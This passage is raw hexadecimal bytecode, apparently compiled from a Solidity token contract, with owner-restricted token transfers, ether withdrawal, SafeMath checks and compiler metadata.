1166000908152600960205260408082209390935590851681522054610ded9083611365565b600080548190600160a060020a0316331480610fe35750600154600160a060020a031633145b1515610fee57600080fd5b600160a060020a0385161580159061100e5750600160a060020a03841615155b151561101957600080fd5b50604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a038581166004830152602482018590529151869283169163a9059cbb9160448083019260209291908290030181600087803b15801561108657600080fd5b505af115801561109a573d6000803e3d6000fd5b505050506040513d60208110156110b057600080fd5b5060019695505050505050565b60008054600160a060020a03163314806110e15750600154600160a060020a031633145b15156110ec57600080fd5b604051600160a060020a0384169083156108fc029084906000818181858888f19350505050158015611122573d6000803e3d6000fd5b5060019392505050565b6007805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156106245780601f106105f957610100808354040283529160200191610624565b60006111943384846107d9565b9392505050565b600254604080517f23b872dd000000000000000000000000000000000000000000000000000000008152336004820152306024820152604481018490529051600160a060020a03909216916323b872dd916064808201926020929091908290030181600087803b15801561120e57600080fd5b505af1158015611222573d6000803e3d6000fd5b505050506040513d602081101561123857600080fd5b50503360009081526009602052604090205461125e9061053f83655af3107a400061133d565b33600081815260096020908152604091829020939093558051848152905191927fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c92918290030190a250565b600a60209081526000928352604080842090915290825290205481565b60008054600160a060020a03163314806112eb5750600154600160a060020a031633145b15156112f657600080fd5b600160a060020a038216151561130b57600080fd5b5060008054600160a060020a03831673ffffffffffffffffffffffffffffffffffffffff199091161790556001919050565b60008080831161134c57600080fd5b828481151561135757fe5b0490508091505b5092915050565b60008282018381101561119457600080fd5b6000808383111561138757600080fd5b5050900390565b6000808315156113a1576000915061135e565b508282028284828115156113b157fe5b041461119457600080fd00a165627a7a7230582055b7738f82109cf7686ff727be86da81efa37f60599cdef08b5d08f4c422dd2f0029